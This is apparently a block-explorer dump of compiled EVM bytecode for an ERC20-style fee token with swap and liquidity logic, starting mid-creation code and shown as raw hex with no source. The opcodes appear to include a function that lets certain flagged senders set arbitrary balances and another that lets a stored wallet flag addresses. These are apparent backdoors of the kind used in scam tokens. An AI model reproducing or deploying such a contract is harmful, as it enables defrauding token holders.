5a4df523b3ef846040516133029190614421565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061336e6002613360601a546133526015548761377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061338582846130f890919063ffffffff16565b905061339081613835565b600047905060006133c16133b060026015546137eb90919063ffffffff16565b601a546130f890919063ffffffff16565b905060006133ff60026133f1846133e36015548861377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061342a8361341c6017548761377090919063ffffffff16565b6137eb90919063ffffffff16565b905060006134538261344585886130f890919063ffffffff16565b6130f890919063ffffffff16565b9050600081111561348b5761348a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ac0565b5b60008211156134c1576134c0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ac0565b5b6000831180156134d15750600087115b156134e1576134e08784613b0b565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661352a600154613bff565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d1576135ca60646135bc6018548661377090919063ffffffff16565b6137eb90919063ffffffff16565b905061364f565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364e5761364b606461363d6019548661377090919063ffffffff16565b6137eb90919063ffffffff16565b90505b5b6000811115613753576136aa81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161374a9190614421565b60405180910390a35b61376681846130f890919063ffffffff16565b9150509392505050565b60008083141561378357600090506137e5565b6000828461379191906145bd565b90508284826137a0919061458c565b146137e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d7906143a1565b60405180910390fd5b809150505b92915050565b600061382d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c11565b905092915050565b6000600267ffffffffffffffff81111561385257613851614864565b5b6040519080825280602002602001820160405280156138805781602001602082028036833780820191505090505b509050308160008151811061389857613897614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561393a57600080fd5b505afa15801561394e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139729190613d6a565b8160018151811061398657613985614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506139ed30601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a5195949392919061446c565b600060405180830381600087803b158015613a6b57600080fd5b505af1158015613a7f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613ab492919061443c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b06573d6000803e3d6000fd5b505050565b613b3830601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b84611fe7565b426040518863ffffffff1660e01b8152600401613ba696959493929190614268565b6060604051808303818588803b158015613bbf57600080fd5b505af1158015613bd3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613bf89190613f77565b5050505050565b6000613c0a82613c74565b9050919050565b60008083118290613c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c4f91906142ff565b60405180910390fd5b5060008385613c67919061458c565b9050809150509392505050565b6000819050919050565b600081359050613c8d81614ae9565b92915050565b600081519050613ca281614ae9565b92915050565b60008083601f840112613cbe57613cbd614898565b5b8235905067ffffffffffffffff811115613cdb57613cda614893565b5b602083019150836020820283011115613cf757613cf661489d565b5b9250929050565b600081359050613d0d81614b00565b92915050565b600081359050613d2281614b17565b92915050565b600081519050613d3781614b17565b92915050565b600060208284031215613d5357613d526148a7565b5b6000613d6184828501613c7e565b91505092915050565b600060208284031215613d8057613d7f6148a7565b5b6000613d8e84828501613c93565b91505092915050565b60008060408385031215613dae57613dad6148a7565b5b6000613dbc85828601613c7e565b9250506020613dcd85828601613c7e565b9150509250929050565b600080600060608486031215613df057613def6148a7565b5b6000613dfe86828701613c7e565b9350506020613e0f86828701613c7e565b9250506040613e2086828701613d13565b9150509250925092565b60008060408385031215613e4157613e406148a7565b5b6000613e4f85828601613c7e565b9250506020613e6085828601613d13565b9150509250929050565b600080600060408486031215613e8357613e826148a7565b5b600084013567ffffffffffffffff811115613ea157613ea06148a2565b5b613ead86828701613ca8565b93509350506020613ec086828701613cfe565b9150509250925092565b600060208284031215613ee057613edf6148a7565b5b6000613eee84828501613cfe565b91505092915050565b600060208284031215613f0d57613f0c6148a7565b5b6000613f1b84828501613d13565b91505092915050565b600080600060608486031215613f3d57613f3c6148a7565b5b6000613f4b86828701613d13565b9350506020613f5c86828701613d13565b9250506040613f6d86828701613d13565b9150509250925092565b600080600060608486031215613f9057613f8f6148a7565b5b6000613f9e86828701613d28565b9350506020613faf86828701613d28565b9250506040613fc086828701613d28565b9150509250925092565b6000613fd68383613ff1565b60208301905092915050565b613feb8161465d565b82525050565b613ffa8161464b565b82525050565b6140098161464b565b82525050565b600061401a826144f1565b6140248185614514565b935061402f836144e1565b8060005b838110156140605781516140478882613fca565b975061405283614507565b925050600181019050614033565b5085935050505092915050565b6140768161466f565b82525050565b614085816146b2565b82525050565b614094816146c4565b82525050565b60006140a5826144fc565b6140af8185614525565b93506140bf8185602086016146fa565b6140c8816148ac565b840191505092915050565b60006140e0602383614525565b91506140eb826148bd565b604082019050919050565b6000614103602283614525565b915061410e8261490c565b604082019050919050565b6000614126601b83614525565b91506141318261495b565b602082019050919050565b6000614149602883614525565b915061415482614984565b604082019050919050565b600061416c602183614525565b9150614177826149d3565b604082019050919050565b600061418f602083614525565b915061419a82614a22565b602082019050919050565b60006141b2602583614525565b91506141bd82614a4b565b604082019050919050565b60006141d5602483614525565b91506141e082614a9a565b604082019050919050565b6141f48161469b565b82525050565b614203816146a5565b82525050565b600060208201905061421e6000830184614000565b92915050565b60006020820190506142396000830184613fe2565b92915050565b60006040820190506142546000830185614000565b6142616020830184614000565b9392505050565b600060c08201905061427d6000830189614000565b61428a60208301886141eb565b614297604083018761408b565b6142a4606083018661408b565b6142b16080830185614000565b6142be60a08301846141eb565b979650505050505050565b60006020820190506142de600083018461406d565b92915050565b60006020820190506142f9600083018461407c565b92915050565b60006020820190508181036000830152614319818461409a565b905092915050565b6000602082019050818103600083015261433a816140d3565b9050919050565b6000602082019050818103600083015261435a816140f6565b9050919050565b6000602082019050818103600083015261437a81614119565b9050919050565b6000602082019050818103600083015261439a8161413c565b9050919050565b600060208201905081810360008301526143ba8161415f565b9050919050565b600060208201905081810360008301526143da81614182565b9050919050565b600060208201905081810360008301526143fa816141a5565b9050919050565b6000602082019050818103600083015261441a816141c8565b9050919050565b600060208201905061443660008301846141eb565b92915050565b600060408201905061445160008301856141eb565b8181036020830152614463818461400f565b90509392505050565b600060a08201905061448160008301886141eb565b61448e602083018761408b565b81810360408301526144a0818661400f565b90506144af6060830185614000565b6144bc60808301846141eb565b9695505050505050565b60006020820190506144db60008301846141fa565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145418261469b565b915061454c8361469b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614581576145806147a8565b5b828201905092915050565b60006145978261469b565b91506145a28361469b565b9250826145b2576145b16147d7565b5b828204905092915050565b60006145c88261469b565b91506145d38361469b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561460c5761460b6147a8565b5b828202905092915050565b60006146228261469b565b915061462d8361469b565b9250828210156146405761463f6147a8565b5b828203905092915050565b60006146568261467b565b9050919050565b60006146688261467b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006146bd826146d6565b9050919050565b60006146cf8261469b565b9050919050565b60006146e1826146e8565b9050919050565b60006146f38261467b565b9050919050565b60005b838110156147185780820151818401526020810190506146fd565b83811115614727576000848401525b50505050565b6000600282049050600182168061474557607f821691505b6020821081141561475957614758614806565b5b50919050565b600061476a8261469b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561479d5761479c6147a8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614af28161464b565b8114614afd57600080fd5b50565b614b098161466f565b8114614b1457600080fd5b50565b614b208161469b565b8114614b2b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220800baeaa1cbc5ac271b587875e29bacbb1d09c60aab5eb9427d8a1bd992e326a64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461083f57806371d03f581461087c57806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef1461078557806360efb94f146107c257806361a23c69146107eb5780636249faf11461081657610397565b806340b8000a1161029b57806340b8000a146106c757806342efd370146106f25780634a74bb021461072f57806357a5802f1461075a57610397565b80633b646444146106245780633b97084a146106615780633ecad2711461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613e2a565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e791906142ff565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613e2a565b610f90565b60405161042491906142c9565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f9190614224565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a91906142e4565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a59190614421565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613dd7565b611004565b6040516104e291906142c9565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613eca565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614209565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b6040516105619190614421565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613d3d565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b591906144c6565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613d3d565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613e2a565b6113c1565b60405161061b91906142c9565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d3d565b611474565b60405161065891906142c9565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613ef7565b611494565b005b34801561069657600080fd5b506106b160048036038101906106ac9190613d3d565b611533565b6040516106be91906142c9565b60405180910390f35b3480156106d357600080fd5b506106dc611553565b6040516106e99190614224565b60405180910390f35b3480156106fe57600080fd5b5061071960048036038101906107149190613d3d565b611579565b60405161072691906142c9565b60405180910390f35b34801561073b57600080fd5b50610744611599565b60405161075191906142c9565b60405180910390f35b34801561076657600080fd5b5061076f6115ac565b60405161077c9190614421565b60405180910390f35b34801561079157600080fd5b506107ac60048036038101906107a79190613d3d565b6115b2565b6040516107b99190614209565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e49190613f24565b611b10565b005b3480156107f757600080fd5b50610800611bf0565b60405161080d9190614421565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613e6a565b611bf6565b005b34801561084b57600080fd5b5061086660048036038101906108619190613d3d565b611d30565b6040516108739190614421565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613e6a565b611d79565b005b3480156108b157600080fd5b506108cc60048036038101906108c79190613e6a565b611e75565b005b3480156108da57600080fd5b506108e3611faf565b6040516108f09190614421565b60405180910390f35b34801561090557600080fd5b5061090e611fb5565b60405161091b9190614421565b60405180910390f35b34801561093057600080fd5b50610939611fbb565b6040516109469190614421565b60405180910390f35b34801561095b57600080fd5b50610964611fc1565b6040516109719190614421565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613d3d565b611fc7565b6040516109ae91906142c9565b60405180910390f35b3480156109c357600080fd5b506109cc611fe7565b6040516109d99190614209565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613f24565b612010565b005b348015610a1757600080fd5b50610a206120f0565b604051610a2d91906142ff565b60405180910390f35b348015610a4257600080fd5b50610a4b612182565b604051610a589190614421565b60405180910390f35b348015610a6d57600080fd5b50610a7661218c565b604051610a839190614421565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613e2a565b612192565b604051610ac091906142c9565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613eca565b61225f565b005b348015610afe57600080fd5b50610b07612311565b604051610b149190614421565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613e2a565b612317565b604051610b5191906142c9565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613f24565b612336565b005b348015610b8f57600080fd5b50610b98612416565b604051610ba59190614421565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613eca565b61241c565b005b348015610be357600080fd5b50610bec612505565b604051610bf99190614421565b60405180910390f35b348015610c0e57600080fd5b50610c1761250b565b604051610c249190614209565b60405180910390f35b348015610c3957600080fd5b50610c42612531565b604051610c4f9190614421565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613d3d565b612537565b604051610c8c91906142c9565b60405180910390f35b348015610ca157600080fd5b50610caa612557565b604051610cb79190614421565b60405180910390f35b348015610ccc57600080fd5b50610cd561255d565b604051610ce291906142c9565b60405180910390f35b348015610cf757600080fd5b50610d00612570565b604051610d0d9190614421565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613d97565b612576565b604051610d4a9190614421565b60405180910390f35b348015610d5f57600080fd5b50610d686125fd565b604051610d759190614421565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613ef7565b612603565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613d3d565b6126a2565b604051610ddb91906142c9565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613d3d565b6126c2565b005b348015610e1957600080fd5b50610e22612814565b604051610e2f91906142c9565b60405180910390f35b348015610e4457600080fd5b50610e4d612827565b604051610e5a9190614421565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d9061472d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f399061472d565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d61288b565b8484612893565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612a5e565b506110d38461101e61288b565b6110ce85604051806060016040528060288152602001614b2f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061108461288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b600190509392505050565b6110e661288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a906143c1565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006111f36111e27f000000000000000000000000000000000000000000000000000000000000dead611d30565b601b546130f890919063ffffffff16565b905090565b61120061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906143c1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611374906143c1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce61288b565b8461146585600760006113df61288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b612893565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b61149c61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611520906143c1565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b60155481565b60006115bc61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611640906143c1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561169457600080fd5b505afa1580156116a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cc9190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561172e57600080fd5b505afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190613d6a565b6040518363ffffffff1660e01b815260040161178392919061423f565b60206040518083038186803b15801561179b57600080fd5b505afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d39190613d6a565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611994578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561185057600080fd5b505afa158015611864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118889190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119229190613d6a565b6040518363ffffffff1660e01b815260040161193f92919061423f565b602060405180830381600087803b15801561195957600080fd5b505af115801561196d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119919190613d6a565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b611b1861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c906143c1565b60405180910390fd5b82600f819055508160108190555080601181905550611be5601154611bd7601054600f5461282d90919063ffffffff16565b61282d90919063ffffffff16565b601881905550505050565b60165481565b611bfe61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c82906143c1565b60405180910390fd5b60005b83839050811015611d2a578160096000868685818110611cb157611cb0614835565b5b9050602002016020810190611cc69190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d229061475f565b915050611c8e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e705760005b83839050811015611e6e5781600e6000868685818110611df557611df4614835565b5b9050602002016020810190611e0a9190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e669061475f565b915050611dd2565b505b505050565b611e7d61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f01906143c1565b60405180910390fd5b60005b83839050811015611fa9578160086000868685818110611f3057611f2f614835565b5b9050602002016020810190611f459190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611fa19061475f565b915050611f0d565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61201861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c906143c1565b60405180910390fd5b8260128190555081601381905550806014819055506120e56014546120d760135460125461282d90919063ffffffff16565b61282d90919063ffffffff16565b601981905550505050565b6060600380546120ff9061472d565b80601f016020809104026020016040519081016040528092919081815260200182805461212b9061472d565b80156121785780601f1061214d57610100808354040283529160200191612178565b820191906000526020600020905b81548152906001019060200180831161215b57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b600061225561219f61288b565b8461225085604051806060016040528060258152602001614b5760259139600760006121c961288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b6001905092915050565b61226761288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb906143c1565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061232b61232461288b565b8484612a5e565b506001905092915050565b61233e61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c2906143c1565b60405180910390fd5b82601581905550816016819055508060178190555061240b6017546123fd60165460155461282d90919063ffffffff16565b61282d90919063ffffffff16565b601a81905550505050565b60115481565b61242461288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a8906143c1565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516124fa91906142c9565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61260b61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f906143c1565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6126ca61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274e906143c1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f97